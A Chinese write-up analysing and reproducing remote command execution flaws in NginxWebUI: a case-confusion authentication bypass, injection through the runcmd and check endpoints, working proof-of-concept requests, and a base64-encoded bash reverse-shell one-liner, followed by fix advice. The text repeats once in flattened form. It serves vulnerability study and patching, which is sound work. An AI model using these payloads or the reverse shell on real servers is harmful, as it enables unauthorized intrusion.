记一次代码审计rce测试学习过程
字数 1224 2025-08-19 12:40:55

NginxWebUI 命令执行漏洞分析与复现

1. 漏洞概述

NginxWebUI 是一款图形化管理 Nginx 配置的工具,提供网页界面来快速配置 Nginx 的各项功能。在多个版本中存在命令执行漏洞:

  • 未授权 RCE:3.4.7 及之前版本存在未授权命令执行漏洞
  • 后台 RCE:3.5.2 至 4.1.1 版本存在后台命令执行漏洞

2. 漏洞环境搭建

  1. 下载受影响版本的 NginxWebUI 源码
  2. 导入到 IDEA 开发环境中
  3. 直接启动项目即可搭建测试环境

3. 漏洞分析

3.1 未授权 RCE 分析(3.4.7 版本)

3.1.1 认证绕过机制

  1. 框架特性:使用 Solon 框架(2.2.14 之前版本),默认对 URL 匹配"忽略大小写"
  2. 过滤器逻辑
    • 路径包含 /adminPage/ 且不包含 /lib//doc//js//img//css/ 时进行权限验证
    • 可通过大小写混淆绕过鉴权(如 /AdminPage/

3.1.2 命令执行点分析

漏洞位置com.cym.controller.adminPage.ConfController#runcmd

public JsonResult runcmd(String cmd) {
    // 过滤特殊字符
    cmd = cmd.replace("&", " ").replace("|", " ").replace(";", " ").replace("$", " ").replace("`", " ");
    
    // 检查是否包含nginx关键字
    if (!cmd.contains("nginx")) {
        cmd = "nginx restart";
    }
    
    // 执行命令
    RuntimeUtil.exec(cmd);
    return renderSuccess();
}

漏洞特点

  1. 特殊字符过滤不完全(仅过滤了 &|;$
  2. 可通过未过滤的字符(如 %26)绕过
  3. 命令拼接后直接执行

3.1.3 漏洞验证 Payload

/AdminPage/conf/runCmd?cmd=calc%26nginx

3.2 后台 RCE 分析(3.5.2-4.1.1 版本)

3.2.1 认证绕过修复

  1. 升级 Solon 框架至 2.2.14 版本(支持大小写敏感)
  2. 在过滤器中添加 URI 统一小写转换:
    String path = ctx.path().toLowerCase();
    

3.2.2 新发现的命令执行点

漏洞位置check 方法(nginxExe 参数可控)

@Mapping(value = "check")
public JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) {
    // ...
    cmd = nginxExe + " -t -c " + fileTemp;
    if (StrUtil.isNotEmpty(nginxDir)) {
        cmd += " -p " + nginxDir;
    }
    rs = RuntimeUtil.execForStr(cmd);
    // ...
}

执行流程

  1. 读取 mime.types 资源文件写入临时文件
  2. 构建测试 Nginx 配置有效性的命令
  3. 直接执行用户可控的 nginxExe 参数

3.2.3 命令执行分析

RuntimeUtil.execForStr() 方法:

  1. 按空格分割命令为数组
  2. 检查命令中是否包含空字符
  3. 使用 ProcessBuilder.start() 执行命令

限制

  • 命令会被分割执行,直接执行系统命令可能失效
  • 需要特殊构造绕过

3.2.4 漏洞验证 Payload

Windows 系统

POST /adminPage/conf/check
nginxExe=calc&...

Linux 系统(Base64 编码绕过):

bash+-c+{echo,xxxxxxxxxxxxxxOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

4. 漏洞修复方案

  1. 输入验证

    • 对用户输入进行严格过滤
    • 使用白名单机制限制可执行命令
  2. 权限控制

    • 加强身份验证机制
    • 实现最小权限原则
  3. 安全更新

    • 升级到最新版本(4.1.1 之后版本)

5. 总结

该漏洞系列展示了 Web 管理界面中常见的两类安全问题:

  1. 认证绕过导致未授权访问
  2. 命令注入导致远程代码执行

开发人员应当:

  • 对所有用户输入进行严格验证
  • 使用安全的 API 执行系统命令
  • 保持框架和依赖库的最新版本
  • 实施最小权限原则
NginxWebUI 命令执行漏洞分析与复现 1. 漏洞概述 NginxWebUI 是一款图形化管理 Nginx 配置的工具,提供网页界面来快速配置 Nginx 的各项功能。在多个版本中存在命令执行漏洞: 未授权 RCE :3.4.7 及之前版本存在未授权命令执行漏洞 后台 RCE :3.5.2 至 4.1.1 版本存在后台命令执行漏洞 2. 漏洞环境搭建 下载受影响版本的 NginxWebUI 源码 导入到 IDEA 开发环境中 直接启动项目即可搭建测试环境 3. 漏洞分析 3.1 未授权 RCE 分析(3.4.7 版本) 3.1.1 认证绕过机制 框架特性 :使用 Solon 框架(2.2.14 之前版本),默认对 URL 匹配"忽略大小写" 过滤器逻辑 : 路径包含 /adminPage/ 且不包含 /lib/ 、 /doc/ 、 /js/ 、 /img/ 或 /css/ 时进行权限验证 可通过大小写混淆绕过鉴权(如 /AdminPage/ ) 3.1.2 命令执行点分析 漏洞位置 : com.cym.controller.adminPage.ConfController#runcmd 漏洞特点 : 特殊字符过滤不完全(仅过滤了 &|;$ ) 可通过未过滤的字符(如 %26 )绕过 命令拼接后直接执行 3.1.3 漏洞验证 Payload 3.2 后台 RCE 分析(3.5.2-4.1.1 版本) 3.2.1 认证绕过修复 升级 Solon 框架至 2.2.14 版本(支持大小写敏感) 在过滤器中添加 URI 统一小写转换: 3.2.2 新发现的命令执行点 漏洞位置 : check 方法( nginxExe 参数可控) 执行流程 : 读取 mime.types 资源文件写入临时文件 构建测试 Nginx 配置有效性的命令 直接执行用户可控的 nginxExe 参数 3.2.3 命令执行分析 RuntimeUtil.execForStr() 方法: 按空格分割命令为数组 检查命令中是否包含空字符 使用 ProcessBuilder.start() 执行命令 限制 : 命令会被分割执行,直接执行系统命令可能失效 需要特殊构造绕过 3.2.4 漏洞验证 Payload Windows 系统 : Linux 系统 (Base64 编码绕过): 4. 漏洞修复方案 输入验证 : 对用户输入进行严格过滤 使用白名单机制限制可执行命令 权限控制 : 加强身份验证机制 实现最小权限原则 安全更新 : 升级到最新版本(4.1.1 之后版本) 5. 总结 该漏洞系列展示了 Web 管理界面中常见的两类安全问题: 认证绕过导致未授权访问 命令注入导致远程代码执行 开发人员应当: 对所有用户输入进行严格验证 使用安全的 API 执行系统命令 保持框架和依赖库的最新版本 实施最小权限原则